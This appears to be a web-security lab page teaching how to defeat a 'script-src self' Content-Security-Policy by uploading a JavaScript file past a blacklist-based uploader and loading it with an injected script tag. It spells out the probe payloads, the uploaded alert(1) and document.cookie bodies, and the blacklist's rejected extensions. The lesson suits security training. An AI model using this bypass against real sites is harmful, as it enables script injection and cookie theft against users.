Uploads on an allowed origin

Content-Security-Policy
this page's policy (also verbatim in the response headers)
Content-Security-Policy: script-src 'self'; object-src 'none'; img-src 'self' data:
your profile

No avatar yet — upload one below.

The uploader carries its own type check — a blacklist ("no HTML, no PHP"). Whether it covers every executable type is your homework, not your assumption.

Method — the CSP ignores paths, the uploader ignores JS
  1. Baseline: inline <script>document.domain</script> → dead. Console names script-src (and the page's own theme bootstrap dies the same way — no 'unsafe-inline' here).
  2. Probe an external script: <script src="https://nahamsec.com/one.js"></script> → console violation; the request never even leaves the tab — origin not in the allow-list.
  3. Probe this origin: <script src="/csp/lab21/123.js"></script> → 404, but the network tab shows the request allowed. 'self' is origin-wide: any path, existing or not.
  4. So the question becomes: what can I plant on this origin? Profiles, avatars, attachments, changelog uploads — any uploader with writable storage.
  5. Probe the uploader's type logic: send a normal image → stored as-is, path returned. Then try the extensions the blacklist fears (.html, .php) → rejected. Types on the list are dead ends.
  6. Now the interesting gap: save as → evil.js → accepted. Blacklists miss JavaScript constantly — uploads are usually audited for "traversal and weird HTML", not for JS.
  7. Re-upload the same name with real content: the body is served verbatim from uploads/evil.js — alert(1) alone is a working script body.
  8. Point the reflection at it: <script src="uploads/evil.js"></script> — same origin = allowed by the policy, and the code was ours. Wrap-up: when directives can't be flipped and no gadget serves your JS, the next best thing is always a way to write onto an allowed origin.
Spoiler — the probes
<script src="https://nahamsec.com/one.js"></script>   (blocked: external origin)
<script src="/csp/lab21/123.js"></script>   (404 — but policy-approved: 'self')

The second tag failing with 404 but passing CSP is the whole insight: origin matching has no idea what exists at the path. A 404 means "allowed but empty" — you need to give it something to serve.

Spoiler — the uploader beat
file: anything (bytes don't matter yet) · save as: evil.js
alert(1)
<script src="uploads/evil.js"></script>

Upload once to confirm the path, then re-upload evil.js containing alert(1) — repeated uploads under one name work like versioned updates. The final script tag uses a relative src: same origin, so the policy approves it, and the planted file executes. Try alert(document.cookie||'no cookies here') as body #2 while you're at it.

Spoiler — the blacklist check, so you can predict it elsewhere
rejected: evil.html · evil.php · evil.svg · evil.php.js?? → no: evil.php.* is caught, evil.js sails

The uploader rejects names ending in the classic dangerous list (html/htm/svg/php/phtml/phar/asp/jsp/cgi/exe/sh…) — including double extensions (shell.js.php) — and refuses dotfiles (.htaccess, .user.ini). It does NOT reject .js — the exact oversight the lesson dwells on: upload filters hunt HTML/PHP, and JavaScript slips underneath.